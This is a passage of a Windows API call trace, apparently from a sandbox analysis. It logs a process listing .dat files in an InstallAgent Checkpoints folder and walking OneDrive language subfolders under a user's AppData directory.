returned 1 [0179.210] FindNextFileW (in: hFindFile=0x135f8d0, lpFindFileData=0x12fed60 | out: lpFindFileData=0x12fed60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5b1f5c1, ftCreationTime.dwHighDateTime=0x1d5c553, ftLastAccessTime.dwLowDateTime=0xc5b1f5c1, ftLastAccessTime.dwHighDateTime=0x1d5c553, ftLastWriteTime.dwLowDateTime=0xc5b1f5c1, ftLastWriteTime.dwHighDateTime=0x1d5c553, nFileSizeHigh=0x0, nFileSizeLow=0x1c7, dwReserved0=0x0, dwReserved1=0x0, cFileName="9WZDNCRFJ140.dat", cAlternateFileName="9WZDNC~3.DAT")) returned 1 [0179.210] FindNextFileW (in: hFindFile=0x135f8d0, lpFindFileData=0x12fed60 | out: lpFindFileData=0x12fed60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc645c5f0, ftCreationTime.dwHighDateTime=0x1d5c553, ftLastAccessTime.dwLowDateTime=0xc645c5f0, ftLastAccessTime.dwHighDateTime=0x1d5c553, ftLastWriteTime.dwLowDateTime=0xc645c5f0, ftLastWriteTime.dwHighDateTime=0x1d5c553, nFileSizeHigh=0x0, nFileSizeLow=0x1c9, dwReserved0=0x0, dwReserved1=0x0, cFileName="9WZDNCRFJ364.dat", cAlternateFileName="9W3A1B~1.DAT")) returned 1 [0179.211] FindNextFileW (in: hFindFile=0x135f8d0, lpFindFileData=0x12fed60 | out: lpFindFileData=0x12fed60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5d81c2b, ftCreationTime.dwHighDateTime=0x1d5c553, ftLastAccessTime.dwLowDateTime=0xc5d81c2b, ftLastAccessTime.dwHighDateTime=0x1d5c553, ftLastWriteTime.dwLowDateTime=0xc5d81c2b, ftLastWriteTime.dwHighDateTime=0x1d5c553, nFileSizeHigh=0x0, nFileSizeLow=0x1ca, dwReserved0=0x0, dwReserved1=0x0, cFileName="9WZDNCRFJ3P2.dat", cAlternateFileName="9W8817~1.DAT")) returned 1 [0179.211] FindNextFileW (in: hFindFile=0x135f8d0, lpFindFileData=0x12fed60 | out: lpFindFileData=0x12fed60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc59a1e6c, ftCreationTime.dwHighDateTime=0x1d5c553, ftLastAccessTime.dwLowDateTime=0xc59a1e6c, ftLastAccessTime.dwHighDateTime=0x1d5c553, ftLastWriteTime.dwLowDateTime=0xc59a1e6c, ftLastWriteTime.dwHighDateTime=0x1d5c553, nFileSizeHigh=0x0, nFileSizeLow=0x1cd, dwReserved0=0x0, dwReserved1=0x0, cFileName="9WZDNCRFJ3PM.dat", cAlternateFileName="9WZDNC~1.DAT")) returned 1 [0179.211] FindNextFileW (in: hFindFile=0x135f8d0, lpFindFileData=0x12fed60 | out: lpFindFileData=0x12fed60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5ed9134, ftCreationTime.dwHighDateTime=0x1d5c553, ftLastAccessTime.dwLowDateTime=0xc5ed9134, ftLastAccessTime.dwHighDateTime=0x1d5c553, ftLastWriteTime.dwLowDateTime=0xc5ed9134, ftLastWriteTime.dwHighDateTime=0x1d5c553, nFileSizeHigh=0x0, nFileSizeLow=0x1ce, dwReserved0=0x0, dwReserved1=0x0, cFileName="9WZDNCRFJ3PR.dat", cAlternateFileName="9WFE0D~1.DAT")) returned 1 [0179.211] FindNextFileW (in: hFindFile=0x135f8d0, lpFindFileData=0x12fed60 | out: lpFindFileData=0x12fed60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5d5ba1d, ftCreationTime.dwHighDateTime=0x1d5c553, ftLastAccessTime.dwLowDateTime=0xc5d5ba1d, ftLastAccessTime.dwHighDateTime=0x1d5c553, ftLastWriteTime.dwLowDateTime=0xc5d5ba1d, ftLastWriteTime.dwHighDateTime=0x1d5c553, nFileSizeHigh=0x0, nFileSizeLow=0x1ca, dwReserved0=0x0, dwReserved1=0x0, cFileName="9WZDNCRFJ3PT.dat", cAlternateFileName="9W54A4~1.DAT")) returned 1 [0179.211] FindNextFileW (in: hFindFile=0x135f8d0, lpFindFileData=0x12fed60 | out: lpFindFileData=0x12fed60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc632b506, ftCreationTime.dwHighDateTime=0x1d5c553, ftLastAccessTime.dwLowDateTime=0xc632b506, ftLastAccessTime.dwHighDateTime=0x1d5c553, ftLastWriteTime.dwLowDateTime=0xc632b506, ftLastWriteTime.dwHighDateTime=0x1d5c553, nFileSizeHigh=0x0, nFileSizeLow=0x1cc, dwReserved0=0x0, dwReserved1=0x0, cFileName="9WZDNCRFJ3Q2.dat", cAlternateFileName="9WABF7~1.DAT")) returned 1 [0179.211] FindNextFileW (in: hFindFile=0x135f8d0, lpFindFileData=0x12fed60 | out: lpFindFileData=0x12fed60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5bde1bb, ftCreationTime.dwHighDateTime=0x1d5c553, ftLastAccessTime.dwLowDateTime=0xc5bde1bb, ftLastAccessTime.dwHighDateTime=0x1d5c553, ftLastWriteTime.dwLowDateTime=0xc5bde1bb, ftLastWriteTime.dwHighDateTime=0x1d5c553, nFileSizeHigh=0x0, nFileSizeLow=0x1ca, dwReserved0=0x0, dwReserved1=0x0, cFileName="9WZDNCRFJ3T6.dat", cAlternateFileName="9W7114~1.DAT")) returned 1 [0179.211] FindNextFileW (in: hFindFile=0x135f8d0, lpFindFileData=0x12fed60 | out: lpFindFileData=0x12fed60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5fbdda7, ftCreationTime.dwHighDateTime=0x1d5c553, ftLastAccessTime.dwLowDateTime=0xc5fbdda7, ftLastAccessTime.dwHighDateTime=0x1d5c553, ftLastWriteTime.dwLowDateTime=0xc5fbdda7, ftLastWriteTime.dwHighDateTime=0x1d5c553, nFileSizeHigh=0x0, nFileSizeLow=0x1ce, dwReserved0=0x0, dwReserved1=0x0, cFileName="9WZDNCRFJBBG.dat", cAlternateFileName="9W8A94~1.DAT")) returned 1 [0179.211] FindNextFileW (in: hFindFile=0x135f8d0, lpFindFileData=0x12fed60 | out: lpFindFileData=0x12fed60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5f25608, ftCreationTime.dwHighDateTime=0x1d5c553, ftLastAccessTime.dwLowDateTime=0xc5f25608, ftLastAccessTime.dwHighDateTime=0x1d5c553, ftLastWriteTime.dwLowDateTime=0xc5f25608, ftLastWriteTime.dwHighDateTime=0x1d5c553, nFileSizeHigh=0x0, nFileSizeLow=0x1c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="9WZDNCRFJBD8.dat", cAlternateFileName="9W6489~1.DAT")) returned 1 [0179.211] FindNextFileW (in: hFindFile=0x135f8d0, lpFindFileData=0x12fed60 | out: lpFindFileData=0x12fed60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc6410271, ftCreationTime.dwHighDateTime=0x1d5c553, ftLastAccessTime.dwLowDateTime=0xc6410271, ftLastAccessTime.dwHighDateTime=0x1d5c553, ftLastWriteTime.dwLowDateTime=0xc6410271, ftLastWriteTime.dwHighDateTime=0x1d5c553, nFileSizeHigh=0x0, nFileSizeLow=0x1cf, dwReserved0=0x0, dwReserved1=0x0, cFileName="9WZDNCRFJBH4.dat", cAlternateFileName="9W3EDB~1.DAT")) returned 1 [0179.211] FindNextFileW (in: hFindFile=0x135f8d0, lpFindFileData=0x12fed60 | out: lpFindFileData=0x12fed60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc62df03a, ftCreationTime.dwHighDateTime=0x1d5c553, ftLastAccessTime.dwLowDateTime=0xc62df03a, ftLastAccessTime.dwHighDateTime=0x1d5c553, ftLastWriteTime.dwLowDateTime=0xc62df03a, ftLastWriteTime.dwHighDateTime=0x1d5c553, nFileSizeHigh=0x0, nFileSizeLow=0x1cd, dwReserved0=0x0, dwReserved1=0x0, cFileName="9WZDNCRFJBMP.dat", cAlternateFileName="9WFCD7~1.DAT")) returned 1 [0179.212] FindNextFileW (in: hFindFile=0x135f8d0, lpFindFileData=0x12fed60 | out: lpFindFileData=0x12fed60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5b6ba69, ftCreationTime.dwHighDateTime=0x1d5c553, ftLastAccessTime.dwLowDateTime=0xc5b6ba69, ftLastAccessTime.dwHighDateTime=0x1d5c553, ftLastWriteTime.dwLowDateTime=0xc5b6ba69, ftLastWriteTime.dwHighDateTime=0x1d5c553, nFileSizeHigh=0x0, nFileSizeLow=0x1ca, dwReserved0=0x0, dwReserved1=0x0, cFileName="9WZDNCRFJBQ6.dat", cAlternateFileName="9WZDNC~4.DAT")) returned 1 [0179.212] FindNextFileW (in: hFindFile=0x135f8d0, lpFindFileData=0x12fed60 | out: lpFindFileData=0x12fed60*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0179.212] FindClose (in: hFindFile=0x135f8d0 | out: hFindFile=0x135f8d0) returned 1 [0179.213] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fefe8) returned 1 [0179.213] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12feff4) returned 1 [0179.213] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12fefcc) returned 1 [0179.213] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints", nBufferLength=0x105, lpBuffer=0x12fea80, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints", lpFilePart=0x0) returned 0x40 [0179.213] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\*", lpFindFileData=0x12fecf4 | out: lpFindFileData=0x12fecf4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdee04858, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xc64f4fe4, ftLastAccessTime.dwHighDateTime=0x1d5c553, ftLastWriteTime.dwLowDateTime=0xc64f4fe4, ftLastWriteTime.dwHighDateTime=0x1d5c553, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x135f790 [0179.214] FindNextFileW (in: hFindFile=0x135f790, lpFindFileData=0x12fed00 | out: lpFindFileData=0x12fed00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdee04858, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xc64f4fe4, ftLastAccessTime.dwHighDateTime=0x1d5c553, ftLastWriteTime.dwLowDateTime=0xc64f4fe4, ftLastWriteTime.dwHighDateTime=0x1d5c553, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0179.214] FindNextFileW (in: hFindFile=0x135f790, lpFindFileData=0x12fed00 | out: lpFindFileData=0x12fed00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5a3a7fb, ftCreationTime.dwHighDateTime=0x1d5c553, ftLastAccessTime.dwLowDateTime=0xc5a3a7fb, ftLastAccessTime.dwHighDateTime=0x1d5c553, ftLastWriteTime.dwLowDateTime=0xc5a3a7fb, ftLastWriteTime.dwHighDateTime=0x1d5c553, nFileSizeHigh=0x0, nFileSizeLow=0x1d2, dwReserved0=0x0, dwReserved1=0x0, cFileName="9NBLGGGXW3P8.dat", cAlternateFileName="9NBLGG~2.DAT")) returned 1 [0179.214] FindNextFileW (in: hFindFile=0x135f790, lpFindFileData=0x12fed00 | out: lpFindFileData=0x12fed00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5cc3073, ftCreationTime.dwHighDateTime=0x1d5c553, ftLastAccessTime.dwLowDateTime=0xc5cc3073, ftLastAccessTime.dwHighDateTime=0x1d5c553, ftLastWriteTime.dwLowDateTime=0xc5cc3073, ftLastWriteTime.dwHighDateTime=0x1d5c553, nFileSizeHigh=0x0, nFileSizeLow=0x1c7, dwReserved0=0x0, dwReserved1=0x0, cFileName="9NBLGGH10PG8.dat", cAlternateFileName="9N76AF~1.DAT")) returned 1 [0179.216] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fef88) returned 1 [0179.216] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fef94) returned 1 [0179.216] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12ff09c) returned 1 [0179.219] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12ff058) returned 1 [0179.219] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12ff064) returned 1 [0179.219] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12ff03c) returned 1 [0179.220] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12feff8) returned 1 [0179.220] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12ff004) returned 1 [0179.220] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12ff02c) returned 1 [0179.225] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fefe8) returned 1 [0179.225] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12feff4) returned 1 [0179.225] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12fefcc) returned 1 [0179.225] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fef88) returned 1 [0179.225] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fef94) returned 1 [0179.225] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12fefbc) returned 1 [0179.226] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fef78) returned 1 [0179.226] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fef84) returned 1 [0179.226] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12fefbc) returned 1 [0179.227] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fef78) returned 1 [0179.227] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fef84) returned 1 [0179.227] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12fefbc) returned 1 [0179.227] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fef78) returned 1 [0179.227] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fef84) returned 1 [0179.227] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12fefbc) returned 1 [0179.227] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fef78) returned 1 [0179.228] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fef84) returned 1 [0179.228] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12ff02c) returned 1 [0179.228] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fefe8) returned 1 [0179.228] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12feff4) returned 1 [0179.228] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12fefcc) returned 1 [0179.228] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fef88) returned 1 [0179.228] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fef94) returned 1 [0179.228] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12ff02c) returned 1 [0179.229] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fefe8) returned 1 [0179.229] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12feff4) returned 1 [0179.229] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12fefcc) returned 1 [0179.229] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fef88) returned 1 [0179.229] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fef94) returned 1 [0179.229] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12ff02c) returned 1 [0179.230] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fefe8) returned 1 [0179.230] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12feff4) returned 1 [0179.230] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12fefcc) returned 1 [0179.231] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fef88) returned 1 [0179.231] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fef94) returned 1 [0179.231] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12ff02c) returned 1 [0179.232] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fefe8) returned 1 [0179.232] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12feff4) returned 1 [0179.232] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12fefcc) returned 1 [0179.232] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fef88) returned 1 [0179.232] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fef94) returned 1 [0179.232] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12fefbc) returned 1 [0179.232] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fef78) returned 1 [0179.232] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fef84) returned 1 [0179.232] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12fefbc) returned 1 [0179.233] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fef78) returned 1 [0179.233] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fef84) returned 1 [0179.233] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12ff02c) returned 1 [0179.246] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fefe8) returned 1 [0179.246] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12feff4) returned 1 [0179.246] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12fefcc) returned 1 [0179.248] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fef88) returned 1 [0179.248] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fef94) returned 1 [0179.248] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12ff02c) returned 1 [0179.249] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fefe8) returned 1 [0179.249] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12feff4) returned 1 [0179.249] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12fefcc) returned 1 [0179.250] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fef88) returned 1 [0179.250] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fef94) returned 1 [0179.250] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12fefbc) returned 1 [0179.250] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fef78) returned 1 [0179.250] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fef84) returned 1 [0179.251] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12fefbc) returned 1 [0179.253] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fef78) returned 1 [0179.254] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fef84) returned 1 [0179.254] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12ff02c) returned 1 [0179.254] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fefe8) returned 1 [0179.254] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12feff4) returned 1 [0179.254] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12fefcc) returned 1 [0179.254] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fef88) returned 1 [0179.254] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fef94) returned 1 [0179.254] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12ff02c) returned 1 [0179.255] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fefe8) returned 1 [0179.255] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12feff4) returned 1 [0179.255] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12fefcc) returned 1 [0179.255] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fef88) returned 1 [0179.255] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fef94) returned 1 [0179.255] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12fefbc) returned 1 [0179.255] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fef78) returned 1 [0179.255] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fef84) returned 1 [0179.255] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12fefbc) returned 1 [0179.256] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fef78) returned 1 [0179.256] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fef84) returned 1 [0179.257] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12ff02c) returned 1 [0179.257] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fefe8) returned 1 [0179.257] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12feff4) returned 1 [0179.257] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12fefcc) returned 1 [0179.257] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fef88) returned 1 [0179.257] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fef94) returned 1 [0179.257] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12ff02c) returned 1 [0179.258] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fefe8) returned 1 [0179.258] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12feff4) returned 1 [0179.258] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12fefcc) returned 1 [0179.258] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fef88) returned 1 [0179.258] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fef94) returned 1 [0179.691] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\OneDrive\\17.3.7294.0108\\lv", nBufferLength=0x105, lpBuffer=0x12fea70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\OneDrive\\17.3.7294.0108\\lv", lpFilePart=0x0) returned 0x42 [0179.692] FindClose (in: hFindFile=0x135fb50 | out: hFindFile=0x135fb50) returned 1 [0179.692] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\OneDrive\\17.3.7294.0108\\mi-nz", nBufferLength=0x105, lpBuffer=0x12feaa4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\OneDrive\\17.3.7294.0108\\mi-nz", lpFilePart=0x0) returned 0x45 [0179.692] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\OneDrive\\17.3.7294.0108\\mi-nz", nBufferLength=0x105, lpBuffer=0x12fea70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\OneDrive\\17.3.7294.0108\\mi-nz", lpFilePart=0x0) returned 0x45 [0179.743] FindClose (in: hFindFile=0x135f9d0 | out: hFindFile=0x135f9d0) returned 1 [0179.743] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\OneDrive\\17.3.7294.0108\\mk", nBufferLength=0x105, lpBuffer=0x12feaa4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\OneDrive\\17.3.7294.0108\\mk", lpFilePart=0x0) returned 0x42 [0179.743] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\OneDrive\\17.3.7294.0108\\mk", nBufferLength=0x105, lpBuffer=0x12fea70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\OneDrive\\17.3.7294.0108\\mk", lpFilePart=0x0) returned 0x42 [0179.745] FindClose (in: hFindFile=0x135f990 | out: hFindFile=0x135f990) returned 1 [0179.745] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\OneDrive\\17.3.7294.0108\\ml-in", nBufferLength=0x105, lpBuffer=0x12feaa4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\OneDrive\\17.3.7294.0108\\ml-in", lpFilePart=0x0) returned 0x45 [0179.745] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\OneDrive\\17.3.7294.0108\\ml-in", nBufferLength=0x105, lpBuffer=0x12fea70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\OneDrive\\17.3.7294.0108\\ml-in", lpFilePart=0x0) returned 0x45 [0179.746] FindClose (in: hFindFile=0x135f790 | out: hFindFile=0x135f790) returned 1 [0179.746] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\OneDrive\\17.3.7294.0108\\mn", nBufferLength=0x105, lpBuffer=0x12feaa4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\OneDrive\\17.3.7294.0108\\mn", lpFilePart=0x0) returned 0x42 [0179.746] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\OneDrive\\17.3.7294.0108\\mn", nBufferLength=0x105, lpBuffer=0x12fea70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\OneDrive\\17.3.7294.0108\\mn", lpFilePart=0x0) returned 0x42 [0179.747] FindClose (in: hFindFile=0x135fb50 | out: hFindFile=0x135fb50) returned 1 [0179.747] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\OneDrive\\17.3.7294.0108\\mr", nBufferLength=0x105, lpBuffer=0x12feaa4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\OneDrive\\17.3.7294.0108\\mr", lpFilePart=0x0) returned 0x42 [0179.747] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\OneDrive\\17.3.7294.0108\\mr", nBufferLength=0x105, lpBuffer=0x12fea70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\OneDrive\\17.3.7294.0108\\mr", lpFilePart=0x0) returned 0x42 [0179.747] FindClose (in: hFindFile=0x135f790 | out: hFindFile=0x135f790) returned 1 [0179.748] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\OneDrive\\17.3.7294.0108\\ms", nBufferLength=0x105, lpBuffer=0x12feaa4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\OneDrive\\17.3.7294.0108\\ms", lpFilePart=0x0) returned 0x42 [0179.748] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\OneDrive\\17.3.7294.0108\\ms", nBufferLength=0x105, lpBuffer=0x12fea70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\OneDrive\\17.3.7294.0108\\ms", lpFilePart=0x0) returned 0x42 [0179.748] FindClose (in: hFindFile=0x135f610 | out: hFindFile=0x135f610) returned 1 [0179.749] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\OneDrive\\17.3.7294.0108\\mt-mt", nBufferLength=0x105, lpBuffer=0x12feaa4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\OneDrive\\17.3.7294.0108\\mt-mt", lpFilePart=0x0) returned 0x45 [0179.749] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\OneDrive\\17.3.7294.0108\\mt-mt", nBufferLength=0x105, lpBuffer=0x12fea70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\OneDrive\\17.3.7294.0108\\mt-mt", lpFilePart=0x0) returned 0x45 [0179.751] FindClose (in: hFindFile=0x135f890 | out: hFindFile=0x135f890) returned 1 [0179.752] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\OneDrive\\17.3.7294.0108\\nb-no", nBufferLength=0x105, lpBuffer=0x12feaa4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\OneDrive\\17.3.7294.0108\\nb-no", lpFilePart=0x0) returned 0x45 [0179.752] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\OneDrive\\17.3.7294.0108\\nb-no", nBufferLength=0x105, lpBuffer=0x12fea70, lpFilePart=0x0 | out: 